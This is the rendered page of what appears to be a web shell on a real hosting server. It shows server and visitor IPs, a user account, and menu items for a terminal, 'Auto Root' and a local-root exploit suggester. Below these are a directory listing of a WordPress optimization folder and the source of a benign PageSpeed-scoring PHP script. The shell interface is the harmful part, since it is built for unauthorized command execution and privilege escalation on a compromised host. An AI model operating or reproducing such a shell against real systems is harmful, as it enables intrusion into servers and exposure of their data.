Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
a2-optimized /
wordpress /
Delete
Unzip
Name
Size
Permission
Date
Action
A2ReCaptcha
[ DIR ]
drwxr-xr-x
2025-04-30 04:08
bin
[ DIR ]
drwxr-xr-x
2025-04-30 04:08
LSCWP_Default_Configuration.data
7.4
KB
-rw-r--r--
2025-04-29 15:41
Optimizations.php
241
B
-rw-r--r--
2025-04-29 15:41
am-bundle.php
1010
B
-rw-r--r--
2025-04-29 15:41
class.A2_Optimized_Private_Optimizations.php
36.09
KB
-rw-r--r--
2025-04-29 15:41
class.A2_Optimized_Private_Optimizations_v3.php
35.31
KB
-rw-r--r--
2025-04-29 15:41
cron-job.php
2.39
KB
-rw-r--r--
2025-04-29 15:41
fix-w3tc.php
2.02
KB
-rw-r--r--
2025-04-29 15:41
hcaptcha_lib.php
2.1
KB
-rw-r--r--
2025-04-29 15:41
managedwp_functions.php
3.78
KB
-rw-r--r--
2025-04-29 15:41
opt-init-variables.txt
797
B
-rw-r--r--
2025-04-29 15:41
optimize.sh
12.29
KB
-rw-r--r--
2025-04-29 15:41
p2-wp-opt-v1.data
7.39
KB
-rw-r--r--
2025-04-29 15:41
p2-wp-opt-v1.sh
20.48
KB
-rwxr-xr-x
2025-04-29 15:41
pagespeed.php
3.2
KB
-rw-r--r--
2025-04-29 15:41
privkey
0
B
-rw-r--r--
2025-04-29 15:41
pubkey
0
B
-rw-r--r--
2025-04-29 15:41
recaptcha_autoload.php
1.14
KB
-rw-r--r--
2025-04-29 15:41
recaptchalib.php
9.36
KB
-rw-r--r--
2025-04-29 15:41
recaptchalib_v2.php
2.95
KB
-rw-r--r--
2025-04-29 15:41
turbo-default.txt
7.39
KB
-rw-r--r--
2025-04-29 15:41
warp-imagick.json
940
B
-rw-r--r--
2025-04-29 15:41
wp-opt-v1.sh
41.12
KB
-rwxr-xr-x
2025-04-29 15:41
Save
Rename
<?php // argv url, extended info $short_options = ""; $long_options = ["url:", "extended_info"]; $options = getopt($short_options, $long_options); if (!isset($options['url'])){ usage(); die; } if (isset($options['extended_info'])){ // currently nothing } $url = $options['url']; $desktop_raw = make_api_call($url); $output['desktop'] = [ 'strategy' => 'desktop', 'description' => 'initial run', 'scores' => filter_lighthouse_data($desktop_raw) ]; $mobile_raw = make_api_call($url, 'mobile'); $output['mobile'] = [ 'strategy' => 'mobile', 'description' => 'initial run', 'scores' => filter_lighthouse_data($mobile_raw) ]; echo json_encode($output); exit; function usage(){ echo "\nUsage\n"; echo "\npagespeed.php --url=<url> [--extended_info]\n"; } function make_api_call($url, $strategy = 'desktop'){ $retries = 3; $success = false; $ps_url = 'https://www.googleapis.com/pagespeedonline/v5/runPagespeed?url=' . $url . '&strategy=' . $strategy; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ps_url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); while($retries > 0){ --$retries; $data_raw = curl_exec($ch); $data = json_decode($data_raw, true); if (!isset($data['error'])){ $retries = 0; $success = true; break; } } curl_close($ch); if ($success){ return $data; } else { return []; } } /*** copied from A2_Optimized_Benchmarks */ /** * Filter out the data being returned by lighthouse down to only the data that we actually care about. * * @param array array of data that's been returned from lighthouse api call * @return array filtered array of only the data that we want to store */ function filter_lighthouse_data($lighthouse_data){ $scores = []; if ($lighthouse_data == []){ return $scores; } foreach($lighthouse_data['lighthouseResult']['categories'] as $group) { foreach($group['auditRefs'] as $ref){ if ('server-response-time' === $ref['id']) { $scores['ttfb'] = round( $lighthouse_data['lighthouseResult']['audits'][ $ref['id'] ]['numericValue'] ); } if ( 'first-contentful-paint' === $ref['id'] ) { $scores['fcp'] = $lighthouse_data['lighthouseResult']['audits'][ $ref['id'] ]['numericValue']; } if ( 'cumulative-layout-shift' === $ref['id'] ) { $scores['cls'] = $lighthouse_data['lighthouseResult']['audits'][ $ref['id'] ]['numericValue']; } if ( 'largest-contentful-paint' === $ref['id'] ) { $scores['lcp'] = $lighthouse_data['lighthouseResult']['audits'][ $ref['id'] ]['numericValue']; } if ( 'max-potential-fid' === $ref['id'] ) { $scores['fid'] = $lighthouse_data['lighthouseResult']['audits'][ $ref['id'] ]['numericValue']; } } } $scores['overall_score'] = round( $lighthouse_data['lighthouseResult']['categories']['performance']['score'] * 100 ); return $scores; }